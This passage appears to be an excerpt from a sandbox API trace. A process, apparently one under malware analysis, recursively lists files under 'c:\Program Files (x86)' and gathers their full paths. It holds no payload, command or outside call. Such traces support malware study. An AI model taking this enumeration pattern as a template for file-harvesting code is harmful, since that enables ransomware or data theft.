Player\\wmplayer.exe") returned 56 [0040.179] lstrcpyW (in: lpString1=0x5e5f40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0040.179] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.179] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2=".") returned 1 [0040.179] lstrcmpW (lpString1="WMPMediaSharing.dll", lpString2="..") returned 1 [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.179] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0040.179] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned 63 [0040.179] lstrcpyW (in: lpString1=0x5e2710, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" [0040.179] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.180] lstrcmpW (lpString1="wmpnssci.dll", lpString2=".") returned 1 [0040.180] lstrcmpW (lpString1="wmpnssci.dll", lpString2="..") returned 1 [0040.180] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.180] lstrlenW (lpString="wmpnssci.dll") returned 12 [0040.180] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0040.180] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned 56 [0040.180] lstrcpyW (in: lpString1=0x5e5fc0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0040.180] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.180] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2=".") returned 1 [0040.180] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2="..") returned 1 [0040.180] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.180] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0040.180] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0040.180] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned 56 [0040.180] lstrcpyW (in: lpString1=0x5e6040, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0040.180] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.180] lstrcmpW (lpString1="wmprph.exe", lpString2=".") returned 1 [0040.180] lstrcmpW (lpString1="wmprph.exe", lpString2="..") returned 1 [0040.180] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.180] lstrlenW (lpString="wmprph.exe") returned 10 [0040.180] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0040.180] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned 54 [0040.180] lstrcpyW (in: lpString1=0x5e0e70, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0040.180] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.180] lstrcmpW (lpString1="wmpshare.exe", lpString2=".") returned 1 [0040.180] lstrcmpW (lpString1="wmpshare.exe", lpString2="..") returned 1 [0040.180] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.180] lstrlenW (lpString="wmpshare.exe") returned 12 [0040.180] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0040.180] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned 56 [0040.180] lstrcpyW (in: lpString1=0x5e60c0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0040.180] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.180] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.180] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.180] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1 [0040.180] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1 [0040.180] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.180] lstrlenW (lpString="Windows NT") returned 10 [0040.180] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows NT" | out: lpString1="c:\\Program Files (x86)\\Windows NT") returned="c:\\Program Files (x86)\\Windows NT" [0040.180] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\") returned="c:\\Program Files (x86)\\Windows NT\\" [0040.180] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0040.180] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\*") returned="c:\\Program Files (x86)\\Windows NT\\*" [0040.180] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.180] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.180] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.181] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.181] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.181] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.181] lstrcmpW (lpString1="Accessories", lpString2=".") returned 1 [0040.181] lstrcmpW (lpString1="Accessories", lpString2="..") returned 1 [0040.181] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0040.181] lstrlenW (lpString="Accessories") returned 11 [0040.181] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="Accessories" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories") returned="c:\\Program Files (x86)\\Windows NT\\Accessories" [0040.181] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\" [0040.181] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0040.181] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\*") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\*" [0040.181] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.182] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.182] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.182] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.182] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.182] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.182] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0040.182] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0040.182] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0040.182] lstrlenW (lpString="en-US") returned 5 [0040.182] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US" [0040.182] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.182] lstrcmpW (lpString1="wordpad.exe", lpString2=".") returned 1 [0040.182] lstrcmpW (lpString1="wordpad.exe", lpString2="..") returned 1 [0040.182] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0040.182] lstrlenW (lpString="wordpad.exe") returned 11 [0040.182] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0040.182] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned 57 [0040.182] lstrcpyW (in: lpString1=0x5e6140, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0040.182] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.182] lstrcmpW (lpString1="WordpadFilter.dll", lpString2=".") returned 1 [0040.182] lstrcmpW (lpString1="WordpadFilter.dll", lpString2="..") returned 1 [0040.182] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0040.182] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0040.182] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="WordpadFilter.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0040.182] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned 63 [0040.182] lstrcpyW (in: lpString1=0x5e2798, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0040.182] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.182] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.182] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.182] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2=".") returned 1 [0040.182] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2="..") returned 1 [0040.182] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0040.182] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0040.182] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0040.182] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned 62 [0040.182] lstrcpyW (in: lpString1=0x5e2820, lpString2="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0040.182] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.182] lstrcmpW (lpString1="TableTextService", lpString2=".") returned 1 [0040.182] lstrcmpW (lpString1="TableTextService", lpString2="..") returned 1 [0040.182] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0040.182] lstrlenW (lpString="TableTextService") returned 16 [0040.182] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="TableTextService" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService" [0040.182] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\" [0040.182] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0040.182] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*" [0040.182] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.183] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.183] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.183] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.183] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.183] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.183] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0040.183] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0040.183] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0040.183] lstrlenW (lpString="en-US") returned 5 [0040.183] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US" [0040.183] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.183] lstrcmpW (lpString1="TableTextService.dll", lpString2=".") returned 1 [0040.183] lstrcmpW (lpString1="TableTextService.dll", lpString2="..") returned 1 [0040.183] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0040.183] lstrlenW (lpString="TableTextService.dll") returned 20 [0040.183] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0040.183] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned 71 [0040.183] lstrcpyW (in: lpString1=0x5e86f0, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0040.183] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.183] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2=".") returned 1 [0040.183] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2="..") returned 1 [0040.183] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0040.183] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0040.183] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0040.183] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned 78 [0040.183] lstrcpyW (in: lpString1=0x5e8788, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0040.183] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.183] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2=".") returned 1 [0040.183] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2="..") returned 1 [0040.183] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0040.183] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0040.183] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0040.184] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned 76 [0040.184] lstrcpyW (in: lpString1=0x5e8830, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0040.184] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.184] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2=".") returned 1 [0040.184] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2="..") returned 1 [0040.184] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0040.184] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0040.184] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0040.184] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned 75 [0040.184] lstrcpyW (in: lpString1=0x5e88d8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0040.184] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.184] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".") returned 1 [0040.184] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="..") returned 1 [0040.184] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0040.184] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0040.184] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0040.184] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned 88 [0040.184] lstrcpyW (in: lpString1=0x5e8978, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0040.184] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.184] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".") returned 1 [0040.184] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="..") returned 1 [0040.184] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0040.184] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0040.184] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0040.184] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned 90 [0040.184] lstrcpyW (in: lpString1=0x5e8a38, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0040.184] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.184] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".") returned 1 [0040.184] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="..") returned 1 [0040.184] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0040.184] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0040.184] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0040.184] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned 88 [0040.184] lstrcpyW (in: lpString1=0x5e8af8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0040.184] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.184] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2=".") returned 1 [0040.184] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2="..") returned 1 [0040.184] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0040.184] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0040.184] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0040.184] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned 73 [0040.184] lstrcpyW (in: lpString1=0x5e8bb8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0040.184] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.184] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.185] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.185] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.185] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.185] lstrcmpW (lpString1="Windows Photo Viewer", lpString2=".") returned 1 [0040.185] lstrcmpW (lpString1="Windows Photo Viewer", lpString2="..") returned 1 [0040.185] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.185] lstrlenW (lpString="Windows Photo Viewer") returned 20 [0040.185] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Photo Viewer" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer") returned="c:\\Program Files (x86)\\Windows Photo Viewer" [0040.185] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\" [0040.185] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0040.185] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\*" [0040.185] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.185] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.185] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.185] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.185] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.185] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.185] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0040.185] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0040.185] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0040.185] lstrlenW (lpString="en-US") returned 5 [0040.185] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned="c:\\Program Files (x86)\\Windows 